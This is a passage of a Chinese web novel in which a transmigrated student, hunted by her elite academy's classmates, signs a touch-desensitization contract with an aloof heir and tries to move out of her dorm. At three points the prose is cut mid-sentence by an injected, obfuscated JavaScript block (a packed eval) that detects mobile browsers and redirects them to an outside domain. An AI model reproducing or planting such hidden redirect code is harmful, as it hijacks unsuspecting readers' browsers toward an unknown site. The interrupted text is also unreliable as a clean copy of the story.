地面铺着暗软的红色格子地毯,吊灯没有通电,宽大的扇形窗外,轻飘飘地落着雪,被白色的蕾丝窗帘遮掩了大半,室内半明半暗。 “披这个。”韶景戈给了她一个备用毛毯。 安蔓解开外套,里面的衣服仍然紧紧贴在身上,潮湿黏腻,伏贴着身体起伏蜿蜒。 漆黑潮润的发丝贴在她雪白的颈侧,微微探入衣领,湿意蔓延,在皮肤上留下宛如玫瑰花枝般的交错纹路,冰冷潮湿,暖气四溢,烘出一种难捱的湿热。 她褪下外套,放在椅背上,里面就剩下单薄的打底衫,雪润的脸上因为暖气,泛起一点红意。 韶景戈看了一眼,移开视线,光线却又将她的动作照的分明,模模糊糊的影子投射在墙壁上,朦胧又清晰,像是阴暗跳动的漆黑火焰。 安蔓披上毛毯,将外套还在他手中,微微发白的脸上露出楚楚可怜的表情,“韶会长,我得罪了江级长,你能不能先别离开,留在这里陪我一会儿。” 韶景戈拿回自己的外套,披在手臂,指尖嵌入外套内,感觉到一阵轻微的湿冷和淡淡的暖意,像是另一个人的体温。 他的声音不知为何有些湿哑了,“严重吗?” 安蔓:“非常严重。” 严重到共处一室时,她毫不怀疑江赫会对他下手的程度。 小说里讲江赫有严重的洁癖,安蔓后面在论坛上搜索的信息,也同样证实了这一点。 江赫极其厌恶他人的触碰,所以他戴上了手套,将衬衫扣子扣到最上面一颗,衣襟严丝合缝,一股拒人于千里之外的禁欲傲慢味儿。 无论触碰者的主观意愿是好是坏,全部一个结果,下场十分可怕,她甚至听了栗纯讲述的一个传闻。曾经有跟班想要跟江赫攀关系,热情主动地搂住了江赫的肩膀,无意间碰到了他裸露在外的脖子。 就被面色可怕的江少爷,当场让人压在地。然后当着所有人的面,他面无表情地,踩在跟班的手上。 在凄厉的惨叫声中,硬底皮靴重重地踏了下去,一根根碾断指骨。 传言虽然未必全真,但也有几分可信之处。 “其实江赫是个好人。” 韶景戈声音低低的,依旧是儒雅温和,令人如沐春风,“他脾气挺好的,很少有事情能够惹到他……只要不骗他或者碰他。” 安蔓:“……” 安蔓:“……要是实在不小心惹到他了呢。” “那就装可怜吧,说不定你装的足够可怜,他会心软呢。” 韶景戈迎着她的目光微笑,笑得温柔又和煦,灰眼睛里竟是一派含情的陌陌春风。 “……这样或许有那么几分可能有效,大概吧。” 说了等于白说。 安蔓垂下眼睛,用毯子紧紧裹住自己,脸色苍白又柔弱,做出一个坚强的表情:“……那我能问你另一个问题吗,风纪会对我的狩猎能够撤销吗?你也看到了刚刚的情况。” 安蔓没能说完,后面的事情不言而明。 如果不撤销的话,情况很可能会愈演愈烈。 因为时间短,现在出手的只有“猎犬”。再然后,在韶景戈不会出现的地方,将会出现更多意外—— 这是一场全学院对她的狩猎。 风纪会在这种事上,不能说是完全主导,但也并非全然无辜。 “我们一向厌恶校园霸凌,如果你再遇到这种事,请留存证据,积极向我们举报。” 韶景戈的视线缓慢地在她的脸上爬过。 他温和说,“你确实不用承受这些,其实退学就好。” 安蔓:“??” 他的眼中闪烁着温柔而和煦的光芒,黑色卷发搭在额头,看起来无比体贴,“欺诈、学术不端、品德败坏,在德川都是极其严肃的指控。 如果调查落实,你在旬利的任何一个角落都待不下去。在全国乃至国外的大学也会上榜黑名单。” 韶景戈温温柔柔地劝退,“与其这样不如你自己先退学,既也不用担心遭受这些,也不用担心背上指控。” 安蔓:“……” 韶景戈完全默认整件事是原主所为。 ——虽然也确实如此。 安蔓看出来了,这就是个笑面虎,看起来像纸糊一样温柔好脾气。 实际上就跟原著里说的那样,针扎不动,水泼不进。温和的外表下,有一颗恶劣轻慢的心。 他今天是来帮她的吗? 是的,但也只是举手之劳,顺便观察她。 韶景戈甚至是以一种温柔的表象,来帮助她,本质上透露着赤裸裸的冷漠,和高高在上的俯视。 “至于江赫,他其实是个好人,我就不问你和阿赫又发生了什么争执。我看他也不像是要来杀你的,如果有问题,记得报警。” 韶景戈将衣服重新穿上,一颗一颗地扣好扣子,制服外套上,扣着精致可爱的白兔胸针。 绅士白兔除了颜色之外,与黑兔的外观完全一致。 它戴着礼帽、领结,两颗漆黑的豆豆眼,夸张上扬至而下的嘴唇,像是个张扬疯狂的大笑。 “里面有浴室和吹风机,你可以去洗个澡,衣服我让人帮你拿过来。” . 公用休息室的浴室里,各种设备一应俱全,鎏金雕花的镜子,宽阔的浴缸,还有各种一次性用品。 安蔓脱下衣服,沉入浴缸,在温暖的水流中打了一个喷嚏,闭上眼睛,开始思索这件事的突破口。 首先,韶氏兄弟是这件事的关键人物。 作为风纪会正副会长的他们权力极大,完全有权终止这场审判。 否则,只要这件事一切不停止,针对她的行动就一天不会结束。许市说的对,猎物的挣扎并不会让人感觉畏惧,反而会更加激起猎手拉弓的欲望。 而她现在甚至是传说中“第五阶层”,就连特招生都能踩一脚的存在。 太危险了。 “安蔓小姐。”玻璃门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855467|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人敲了敲。 一个影子停在门外,声音彬彬有礼,“书我让人捡起来了,跟换洗的衣服一起帮你放在浴室外间。” “谢谢!” “帮你拿衣服的是一位叫栗纯的小姐,你记得也要对她道谢一次。这个休息室在你用完之前不会有人来,请放心使用,我走了。” 韶景戈的声音从外面传过来,先是接近,随后变得遥远,在几声脚步声后,是浴室外门关上的声音。 接着脚步声就变得几不可闻。 随后是交谈声。 除了韶景戈,另一道男声响了起来。 安蔓侧耳倾听,隐约能听到几句对话。 “你吓到她了,你的样子看起来要杀人。” “嗤——你以为自己看起来很受欢迎吗。” “总还是要比某人受欢迎一点。我有事先走了,你托付我帮你查的东西都在这个档案里面,不用谢。” “谢谢。” “动作温柔一点,不要吓坏她了。” 安蔓竖起耳朵听到两人的对话声。 她发现韶景戈要走了!留下的是江赫。 安蔓完全不想和江赫共处一室,一想到这个可能性就感到一阵恶寒。更别提韶景戈说的“温柔一点”。 她顾不得擦头发,仓促地穿上衣服披上外套,想要留住韶景戈,或者至少跟他一起走。 但她冲出卫生间的时候,这个休息室已经空空荡荡,只有江赫站在室内,指尖在够桌面上细颈长口白瓷花瓶里的一只鹤望兰。 听到动静转过头来面对她,顺手将花抽了出来,皮手套将暗蓝花枝捏在手心,绿眼睛闪烁着冰冷的光芒。 “来得正好。” 完全不好! 安蔓下意识地退后一步,她湿漉漉的头发披在肩上,里面穿着一件贴身衣物,拢着外套,凉意从尾椎骨直冲大脑。 江赫往前一步,她就不由自主地退后一步,勉强镇定道,“真的很抱歉昨天但是那是由于我对你的情感过分泛滥,造成的暂时行为失控,以至于对你英俊的脸做出了不可饶恕的事……” 总之千错万错都是你太诱人的错。 “不要做出好像我要吃了你的样子。” 江赫面色冷酷,黑色手套捏着那只暗蓝色的鹤望兰,漫不经心拨动了一下花瓣,“如果我要算账,你以为你现在还能活生生地站在这里?” 安蔓:“请问……?” “我今天来是想请你帮一个忙。” 江赫冷冷地凝视她,“你应该知道,我有一点……精神类疾病。厌恶任何人触碰。但凡是碰到他人的皮肤,就会感到恶心。” 他说话的语调像是在描述另一个人,或者是描述一种客观本能,音调极端的冷漠,甚至带着几分憎恶。 说完视线就落在她身上,江赫不知道想到了什么,眉头皱的更深了,“但是那一天你……我的时候,我没有感觉到这种生理性的厌恶。” 他含糊了一下用词。 “所以我想让你帮我测试,看看那次没感到厌恶,是因为意外触碰,还是……” 还是因为她。 江赫的潜台词没有说出口,显然极端抗拒这种可能性。 安蔓不动声色地接近门口,同时指尖握住了手边另一个细颈花瓶的瓷口,连同花瓣一起掐住,“但是我看你好像并没有社交的需求。” “以前没有,但几个月之后有。” 江赫蹙眉看着她缓慢移动到门边,完全没打算给人拒绝的权利,他的指尖按在墙上不知道触碰到哪里,大门咔嚓一下关上了。 来自外界的光线一下子被截断。 江赫俊美的脸被笼罩在黑暗中,显得阴翳又冷淡,他慢条斯理地摘下手套,表情厌恶又忍耐地说。 “过来。” 8. 第 8 章 8. 安蔓站在原地不动,只是看着他,问了一个显而易见的问题,“为什么不是你过来?” 江赫难以忍耐地蹙起眉头,微微眯起眼睛,视线在安蔓身上缓慢扫过,目光极不友好。 他想不通为什么有人在他面前,可以比以前更无礼、更不庄重。 她对自己的处境没有清晰的认知,问题愚蠢得让人发笑,一副冒冒失失的样子,里面的衣服没有穿好,松松垮垮地披着外套,扣子有一颗没一颗系着,发丝乱糟糟散在肩上,脸色有些急促地发红。 她的头发甚至还在滴水,水珠落在暗软深红的地毯上,迅速氲湿了一小块。连外套也沾湿了一点,而本人还毫无察觉,放任不管。 或许一开始的礼貌都是装的,就如同骗子伪装出来接近他的人设一样,虚假不堪。 现在谎言戳破,自暴自弃。 “去把头发吹干。” 江赫尽量让自己不要说出什么难听的话,他看着她的穿着,眉间跳了一下,“衣服也穿好!” 安蔓转头回到浴室,松松地裹着外套,拿了一条毛巾包住头发,开始穿衣服。 送衣服来的人不知道是怎么想的,似乎是精心挑选了一整套,从鞋袜到化妆品一应俱全,甚至塞了一小瓶香水,全部整齐地塞在一个袋子里。 外套是银色的学院制服,搭配了同色的勋章。在德川的每个细节,都将人一条条划出等级地位,不仅是住宿上,连衣服也是如此。特招生的制服是浅灰色的,搭配着同色徽章,再上一级的制服与徽章是矢车菊蓝,接着是月光银,然后是最为稀少,只有寥寥几枚的纯金。 安蔓一开始选择衣服时,就谨慎地避开这些颜色,现在没得挑只能穿上,然后简单地吹干了头发。 她不知道江赫在搞哪一套,内心惴惴,在准备走出去时,犹豫了一下,还看着自己的脸色涂了一点口红。 随后才深吸一口气给自己打气,走了出去。 休息室色调的以红为主,整体风格却并不媚俗,反而修的古典雅致,充满着老式风格。壁炉、木制摆设,以及挂在墙上被精心装裱的、穿着厚重而华丽服装的学院创始人油画。 此刻白色窗帘已经彻底拉上,隔绝内外,室内的灯全部开启。 江赫坐在沙发上,膝盖上摆着一本翻开的书,抬头看她走了出来,第一眼眉毛就不由自主地皱了起来。 “我穿好了。”安蔓走出来,谨慎地停在他的前方,咳嗽了几声,深深吐出一口气。 ——这个氛围真的超级奇怪啊! “需要我具体做什么吗?” 江赫皱起了眉,目光在她的制服、徽章一一扫过,最后落在她的头顶。 他注意到她的头发没有梳理,衣服也扣歪了一个扣子。 而且神态僵硬,动作别扭,从走出来那一刻开始看他,看起来非常的不自在,还偷看已经拉上的窗帘。 明明是一场简单的测试,她的态度却让这一切变得有些尴尬别扭,仿佛像是某种偷情。 “过来。”江赫不耐烦地开口,“别磨蹭,速战速决。” 安蔓犹豫了一下,还是慢吞吞地拖着脚步,一步步沉重地走了过来。 先是站在他的面前,过了一会儿又有些犹豫不决,像是拿不准主意一样坐在了江赫的旁边,两个人仍然相隔了一段不小的距离。 “我喜欢你,真抱歉之前的一切,请原谅我吧。”安蔓一边捧读,一边思考逃跑路线。 这个人真的太有病!她抓不准他在想什么,只有他一个人,逃跑的难度大大降低,最重要的是要怎么将他放倒。 她的目光扫视江赫的身上,深色的制服贴身包裹,从头发丝到皮靴无一不精细,虽然看不到衣服下包裹的肌肉,但能看得出来他并不瘦弱。 江赫的右手已经摘下手套,手指骨节分明,掌面宽大,手背上蔓延着凸起的淡青色血管,小指上有一颗黑色小痣,甚至有几分性感。 ——感觉更怪了。 可能是出于人类的窥伺欲,裹得越深,越让人想将衣服扒下来,江赫将手遮掩的越严实,越让人产生好奇他不遮掩的模样,是不是充斥着难堪和忍耐。 “级长,我觉得你可以先找人试一下,面对意外触碰的时候会不会感觉恶心。” 安蔓左右寻找趁手的东西,“你这个病应该是心因性的吧。” “呵呵。”江赫的语调刻薄,让她听起来像个白痴。 安蔓寻找趁手物品失败,觉得光靠自己很难打倒他,忍不住重复:“我真的喜欢你。” 江赫对她的告白感到恶心。 他不知道安蔓在扭捏什么,又是看窗户,又是看他的手,将一件原本正常的事变得氛围怪异起来。 他知道安蔓喜欢他,不然对方不会在以为自己即将离开学院的时候,冒死去亲吻他。 江赫对这种鲁莽、可笑,充斥着本能且被激素控制的喜欢不感兴趣,甚至生理性地恶心。 如果不是发现洁癖对她不起作用,他根本不可能跟这样的人待在一起,甚至不会多注意她一眼。她不配让他注意。 “伸手。”江赫忍耐地说,“你在等什么?” 安蔓伸出手掌。 江赫挑剔地看着她,不注意形象,素面朝天,嘴唇却涂了一层浅浅的胭粉。 色泽靡丽的颜色被涂抹在薄薄的嘴唇上,顺着唇角的纹理起伏蔓延,延展成艳俗又逼人的红。 皮肤苍白柔软,像是一捧清冷干净的雪。 他闻到四溢的香气,是廉价的洗发水的气味,带着一点淡淡的薰衣草味。 安蔓的脸确实长的够美,有玩弄男人的资本,可惜他完全不感兴趣,只感到恶心。 “然后呢?”安蔓问。 江赫垂眼看她,漫不经心地将手指握了上去。不多,只触碰了一个指尖。 然后他的脸色迅速沉了下去,俊美的脸上像是蒙了一层阴冷的灰,像是发现事实比他想的更让他反感、厌恶。 江赫没有说话,但表情做出了回答。 ——他触碰了,而且不感到恶心。 . 安蔓:“咦。” 系统:“咦。” 安蔓震惊:“你给我开挂了系统!你们居然还能开挂!” 系统也很震惊:“我没有啊我没这个功能啊!不是我啊,你别乱说话啊,不许血口喷人,我去搜一下资料!” 系统开始疯狂翻书!它不仅是在数据里翻,还在安蔓的脑子里模拟出了唰唰的翻书声,声音又快又急。 它翻了半天十分茫然,“不应该啊,原著里设定男主二号的洁癖是针对地球上的所有生物。只要活着会喘气的他都讨厌啊!” “难道是你因为你是新穿来,身体和灵魂不契合,而且理论上不是这个世界上的生物???” 系统震惊还能这么卡bug,语调都哆嗦了,“不对呀,不应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855468|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀……不能这样啊。” 安蔓不在意这个,知道是什么就好。江赫在原著里,确实讨厌一切生物,厌恶所有肉.体接触,此刻这个反应只能勉强算作bug,不然总不能是对方脑子发疯。既然是bug就能修复,在修复前就是机会! 在江赫对于她的感知,再次变成厌恶模式前,她可以尽情地为所欲为了。 形式彻底转换了。 她心情飞扬,满心雀跃。 江赫越厌恶,越惨淡,她越高兴。 安蔓冷酷想,“烧货,刚开始爱搭不理,以后还不是求着我摸。” 系统:“??” 江赫的脸色十分阴沉,瞳色彻底沉了下来,瞳孔中的绿色变得阴沉又可怖,在灯光下显得十分吓人。 他肤色偏白,血管明显,脖颈淡青色的血管跳动了一下,额头青筋暴起。手指攥紧了,咯咯作响。 “哈。” 他气笑了。 江赫脸色铁青,闭上了眼睛,深呼吸几下,表情十分冷漠。 安蔓甚至能还原出他的心理活动,排斥、 错愕、不敢相信,他这种高高在上冷漠刻薄的顶级天龙人,居然只对她这个贱民的肉.体不反感。 但他脸色调整的极快,显然在此之前已经做过相关的预案,短短几个呼吸后,脸色又变回了最开始阴沉高傲的样子,开口后每一个字都咬得很深。 “几个月之后我要参加一个活动,这个活动非常重要,所以我需要缓解、不能接触人的问题。” 江赫厌恶一切的身体接触,甚至已经到达了无法控制的程度,从心因性疾病演变成了身体本能的抗拒。 “在此之前我咨询过医生的建议,他认为当前最好的治疗方式就是让我进行脱敏,从最普通的接触开始,逐渐习惯和人皮肤相贴的感觉。刚刚测试的结果我们都知道了,所以接下来我需要你辅助我脱敏。” 江赫站了起来,从旁边拿出一份准备好的协议和一支钢笔,走到安蔓的眼前放下,连礼貌都欠奉了,“如果没有异议的话,现在签字。” 安蔓简单地看了一眼,上面写着密密麻麻的文字,包括保密条款,次数规定,违约责任,报酬金额和赔偿金等。 属于江赫的地方已经签了字,只剩下留给安蔓的空白。 安蔓看了一会,没看出什么问题,但也不着急签,而是慢悠悠握着笔,苦恼说:“我本来是很想帮你的,但是总有其他事影响我,让我可能没办法全心全意帮你治疗。比如,你也看到了今天我被人推到了水里。” 安蔓提醒他回忆刚刚、自己浑身湿透的情况,“还有我被风纪会的指控,在这些危机下,我可能没办法帮你。” “你在对我提出要求?” 江赫居高临下地看着她,甚至没有动弹一下,甚至想要冷笑。 总有人看不清自己的位置。 愚蠢、肤浅、又无知的女人。 “我可以帮。” 他低下头,雪亮冰冷的瞳孔和她对视,戴着手套的手轻轻拍了拍她的脸,语调轻慢,“但你配吗?” “我觉得我还挺配的,毕竟我这么爱你。” 安蔓歪头看他,忽然微微起身拉着他的领带,用力一拽,强迫他弯下腰来。 两人脸和脸凑的极近,近得能感受到彼此交错的呼吸,瞳孔相对。 她狠狠一拽,看着那双紧缩的翡翠色瞳孔,同样轻慢道, “你觉得呢?” 9. 第 9 章 9. “我觉得……” 江赫把领带从她的手中抽出,站直了身体,刚刚扑在脸上的温热呼吸,让他想到那个不愉快的吻。 他眉头皱了起来,垂眸看了安蔓一眼,看着她在灯光下白皙的脸,涂得通红的嘴唇,还有那双专注又期待地看着他、在灯光下熠熠发亮的眼睛。 他希望她不要抱一些不切实际的妄想,“你需要认清自己的位置。” 江赫居高临下地看着她,他戴好手套,抽掉了领带握在手中,动作不紧不慢站在沙发边,张开手。 黑色的领带掉在垃圾桶里,软软地叠在一起。 “垃圾只配待在垃圾桶。” “风纪会的事与我无关,我不会插手,想要解决你自己去找韶景戈和韶景荻。作为交换,我最多在你需要的时候出手帮你一次,希望你好好把握住这次机会,而不是抱着一些不现实的幻想。” 【江赫当前好感:-100。】 可恶的天龙人,到底在傲慢什么啊! 安蔓拿起掉在身侧的笔和合同,老老实实地点了点头,暂时不再作妖。 通过刚刚,她试探出两点。 一是那个活动对江赫很重要。 二是江赫对她的容忍度,比想象中的高一点。 目前他的容忍还在限度内,再超过就不利于之后的攻略了,她迅速再次仔细的检查过条款,确定没有问题之后,才谨慎地签下名字。 “那么之后我们见面的频率是……?” “暂定一周一次。” “那具体的见面时间……” “我发给你。” “好的好的,就是级长你好像把我拉黑了,所以我可能接收不到信息。”安蔓争取一口气把所有话问完。 “我会加回来。” 江赫的声音渐渐不耐烦了起来。 翻来覆去,拐弯抹角,就是为了最后一句重新添加联系方式,太明显了。 想到安蔓对他的心思,可能因为这个协议产生一些不现实的期待,他有些厌烦,语气也渐渐重了。 “没事了就滚出去。” 就见安蔓似乎愣了一下,低头说了一声“好”,然后垂着眼睛,向外走了几步。 接着想起什么似的,转头跑回浴室收起里面的湿衣和书,接着连看都不敢看他一眼,转头快速地跑了出去。 她的动作很快,举止仓促,似乎有些受伤。 . 终于脱离那个神经病了! 安蔓的脚步雀跃起来,她一等江赫开口就迫不及待地往外走,走了一半才想起来还有东西落在浴室的,于是急急忙忙回来取。 对方不知道为什么语气特别差,她低头在心里狠狠辱骂了几句,将所有东西都放在袋子里一口气提了出去。 走出休息室之后,天空仍在飘雪,她这才来得及把手机拿出来看一眼。 手机是防水的,擦掉了表面的水渍之后没有黑屏,还能够继续使用,上面飘着几条信息,全部来自几十分钟前的同一个人。 【栗纯:怎么突然有人找我要你的衣服,还是全套,还说是韶会长要,你又做什么了!究竟什么事才会要换全套衣服?!】 【栗纯:你别是勾引他了吧!】 【栗纯:你别找死!】 安蔓回复了一个“没有”,组织了一下语言,掩去江赫的事,将经过大概讲了一下发给她了。 然后问了一句,【过程中没被别人看到吧。】 栗纯回复的很快,似乎一直在对面等着。 【栗纯:没被看到,看到了也会以为是找我来问你的事。】 【栗纯:不是出事就好。】 【栗纯:你什么时候来把东西搬走?】 对方提醒安蔓了。 她现在还是被审判的对象,全学院的猎物,当务之急还是尽快打报告搬走,无论是哪边的公寓都不适合她待。 安蔓确认了一下监理的办公室,决定速战速决。 监理的办公室和教室是分离的,在理事会大楼拥有一个单独办公场所。由于是后修的大楼,又主要用于办公,所以除了外形跟德川总体保持了古典风格外,内部结构更为现代,设施也更全面。 每个年级都会配备一位监理,通常事务繁多,一般不会有学生没事来打扰,或者在这座布满摄像头的严肃场所找不自在。 由于栗纯的特别体贴,在替换的衣物里面放了一顶帽子和口罩,戴上去能将整个头彻底挡住。因此安蔓一路走来,顺利到达了办公室,礼貌敲门。 “进来。”办公室里的人说。 安蔓走进办公室,二年级的监理是一位优雅的中年女士,穿着正装,盘着头发,表情十分严肃地看了她一会,“请问有什么事吗?” “是这样的,我想要申请这个学期校外居住。” 监理女士瞥了她一眼,“已经开学很久了,早就过了申请时段。” “因为我遇到了一些问题……”安蔓简单表述了目的,琢磨自己要不要顺便卖一个惨。 监理截断了她的话,“我知道你发生了什么事,安蔓小姐,但这不是外宿的理由。其实如果你不来找我,在今天之内我也会联系你,恕我直言,不仅是风纪会,就连我这里也接到了检举信。” 监理从抽屉里拿出一封信,扔在桌上,信纸用的是最常见的a4纸,没有署名,上面是标准的4号印刷体。 内容安蔓看不清,只能努力瞄了几眼,只看到上面一些关键词。“作弊”、“撒谎”、“道德”等等。 “检举信上说,你和去年毕业的一位四年级学生,通过作弊获取了不属于自己的成绩,这是学校绝不允许的事!目前风纪会正在搜集证据,一旦查明属实,你将会面临严重处分。此外针对品德方面的调查也在进行中,所以很遗憾,除非你拿出证据,不然我不能允许你校外住宿。” “好的,我知道了,谢谢您。” 安蔓心情低落下来。 她猜到是谁检举的了,说来说去都是原主造的孽。 原主从入学开始就给自己捏造校花乱设,与一般人不同,她设定的性格身心皆美,性格温柔如水细致入微,从不仗着自己的优势横行霸道,可谓是名副其实的女神。 又美丽,又善良,又富裕,而且是罕有的,能和几个男主和平共处的角色。 她最开始甚至和女主是朋友,面对原著复仇文女主十分体贴,在女主刚进学校后像一个大姐姐一样的为女主辅导功课,教她如何与男主们相处,如同春日的暖阳让人感到安心。 然后在女主的彻底信任她的时候,给予女主狠辣一击!斩除竞争对手。 她公开宣称,女主为了嫁入豪门,接近站在金字塔顶端的男主们,偷偷在她的酒水里下了药。然后摆出许多十分可信的“证据”。 原主粉丝不少,自带热度。 此言一出,全校哗然,女主彻底成了全校公敌。 ……这也不怪人家报复啊! 在原著里是爽剧,但她穿越过来后就变成了惨剧。 安蔓蹙眉,再次把自己包裹严实,然后走到宿舍边,想再观察一下自己要是没有争取到校外居住,必须面对的生活环境。 结果刚刚走到原主的宿舍公寓外,就见从栋楼开始,准备洋洋洒洒地掉什么东西下来。 橡皮擦、铅笔、零零散散的笔记,还有那天没能及时带走的一些反季衣服。 从上空飘落,四散开来。五花八门,颜色多样。 全是属于原主的东西。 “这样她会来吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855469|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“看她来不来呗,这个死骗子够聪明的,一早上就跑了,害我扑个空!” “不要说的我们像个邪恶的组织,明明我们只是晒东西的时候,不小心让它从天台掉下来了~” 安蔓彻底站不住了。 可恶啊,这是何等恶劣的生存条件! 原著里说原主在被检举之后,身边的人都反了水,为了抹除与她的联系,反而成了狩猎最积极的成员,最先下手的人群中很可能有原主从前的朋友。 安蔓认不出那些人,就远远地给楼上楼下动手的女生,还有满地零碎的东西拍了个照,然后录了个视频,立刻转头去找监理。 走进办公室的时候,却发现门正敞开着,里面多了一个红发男人。 他西装革履,戴着无框眼镜,五官轮廓深而立体,鼻子高挺,嘴唇薄冷,具有明显的外国血统。 红发绿眼,身材高挑,五官十分锐利,按理来说这种长相既鲜明又具备了十足的攻击性,红发存在感十足,但那双眼镜让他的气质沉淀下来,显得精英又干练。 监理正在和他笑着交谈,态度亲切温和,笑容又大又明亮,转头瞥见安蔓的时候嘴角立刻拉了下来,“你又回来干什么?刚才不是已经说清楚了吗。” “女士,我刚刚拍到了证据,可以证明现在我的周围环境实在是太恶劣了,我真的很需要申请校外居住。”安蔓展示自己刚刚拍下的图片和视频。 “你把这些发给我,我会让她们对你道歉和赔偿,但是校外住宿是不可能的。至少现在不行。” 监理皱眉看完了视频和图片,还是摇头,语气和缓了一点,“其实,我们还计划对你进行一场单独的考试,不会很慢,应该在这个月内……” “很抱歉,请允许我说句话。”旁边那个男人忽然开口,“请问这位是……?” 监理似乎有些意外,愣了一下才转过方向介绍说,“这是一位二年级的学生。安蔓小姐。” 然后转头向安蔓,礼貌道,“这位是戴尔曼先生。” “安蔓小姐,你好。” 红发绿眼的精英男微微颔首,看起来理性又冷静,主动提了个建议,“很抱歉偷听了你们的对话,我大概了解了一些情况,并为你感到同情。任何人都可能遇到一些不幸的事,但是施老师的理由也很充足,所以我觉得你可以折中一下。” “我觉得,如果你愿意,可以搬去特招生寝室。” “特招生寝室?”监理思索了一下,觉得这是个办法,“可以,如果你实在是不愿意住在以前的公寓,不妨和特招生住在一起,他们都是一些优秀又谦和的人,不会像其他学生一样仗着家世惹是生非——只要你不挑环境。” 安蔓:“但是……” “就这么决定了。” 监理斩钉截铁道,她明显已经失去了处理的兴趣,只想快速解决,从抽屉里抽出一张写着寝室号的卡片,递给她,“要么住你原来的公寓,要么和特招生一起住,刚好这里空出一张床位。至于其它的,在关于你的调查结束前都别想了。” …… 安蔓就这么空手来,带着搬寝的建议和特招生寝室卡离开。 她有些一筹莫展,犹豫要不要再回去纠缠监理,或者找江赫用掉那个“帮助”,又或者动用手机里“大韶”“小韶”的联系方式。 “大韶”指的是韶景戈,“小韶”是他的弟弟,虽然两个人的联系方式都加了,但是聊天记录显示一片空白。 安蔓犹豫片刻,最终还是打开手机,里面静静躺着一条未读消息。 几分钟前,备注为父亲的号码发过来一个车牌号:“等会直接坐车回家,我派了人来接你。” 【叮——】 【任务三即将发布,请及时到达男主一崔明朗身边,解决危机。】 10. 第 10 章 10. 许市站在洗手池前,将手伸进水流。 在哗啦啦的水流中,盯着镜子里的脸。 左脸完好无缺,右脸却高高肿起,又红又肿,甚至不能用不小心摔倒来当借口。 他妈的,那个死女人一点也没留手! 许市给自己涂上一层从医务室拿来的药膏,关掉水龙头,擦掉手中多余的膏体,走出盥洗室。 外面吵吵闹闹,乱成一团,已经快到午饭时间,许多人却并没有跑去食堂,都在往一个方向聚拢,贴在一起窃窃私语。 一个认识的熟人从后面揽住他的肩,拍了拍他的手臂,看着他脸上的痕迹幸灾乐祸,“怎么样?吃瘪了吧。” 许市冷笑一声,“关你什么事。” “没讨到好吧,我就知道。”熟人嘻嘻哈哈,“所以我就记着你了,特地拉你来看热闹,泄愤!” “什么热闹?” 熟人指了一下公寓的方向,“还能是什么热闹,咱们的笑话呗!这会儿去说不定还能看到一场好戏,叶倩那群人把笑话的行李都放出来了,在等着蹲人呢,要不要去看一下?” “无聊。”许市丢开他的手,过了一会又开口,“叶倩以前不是和笑话玩的很好吗?” “割席嘛,怕沾上风纪会,正常的很。” 熟人和许市都是第二阶层的,对这种事司空见惯,甚至习以为常。 之前被狩猎的人,无一不是犯了众怒,上一个被狩猎对象是有钱人装成特招生猎艳,上上个是偷窃了学校的财务,最后下场不必多说,全都消失在旬利这个地界。 安蔓作为新一任的猎物,也不会例外。 “不过感觉这次不会轻易收场,面对那样的猎物,受挫也正常。” 熟人轻声耳语,脸上浮现出难以言喻的表情,“本来我不怎么感兴趣的,但是早上跟你一起上课,看了一眼,我就懂了……你猜有多少人在盯着她,如果你不感兴趣就跟我说一声,我自己去,英雄救美也不错啊。” 许市也同时想到了,上午看到了安蔓的面孔。 白皙的脸颊,柔和的声音,触碰到他脸上带着淡淡潮湿又柔软的手指。 他妈的,早上那个巴掌还在脸上发肿。 还有那个莫名其妙的“上课见”的约定。他才不会被这种人牵着鼻子,他要掌握主动权。 “在哪里?带我去。” 许市本来懒得去参与这么无聊的事,突然又改变了主意。 觉得无论是去做个救世主,还是落井下石,挫败笑话持高气扬的态度都不错。 . 所有人都扑了个空。 因为安蔓已经走出校门了。 她跟栗纯做贼似地接了头,把那些需要退的东西全部放在箱子里,提着离开学校。 校内不许停车,外部划分了专门停车的区域,此刻,学校门口停满了昂贵的豪车。 豪车群里最前方的红色轿车亮了亮灯,安蔓对了一下车牌,上了车。 车是崭新的,没有使用痕迹,靠椅散发着皮革味。 一个慈眉善目的司机大叔对她微笑,斟酌开口,“小姐,回家了,今天过的怎么样?” 安蔓:“……”完全不认识啊。 她故作冷淡,假装不高地玩手机。 实际在心理狂戳系统,结果系统这个蠢货,不知道是不是心虚,居然完全不说话了! 司机没得到回应,尴尬闭嘴,从后视镜看了一眼,还是有些奇怪地嘀咕。 他一直觉得这家人非常怪,明明有车,却要特地租昂贵的私家车。并不怎么有钱,却能让独生女每天穿上昂贵的名牌。 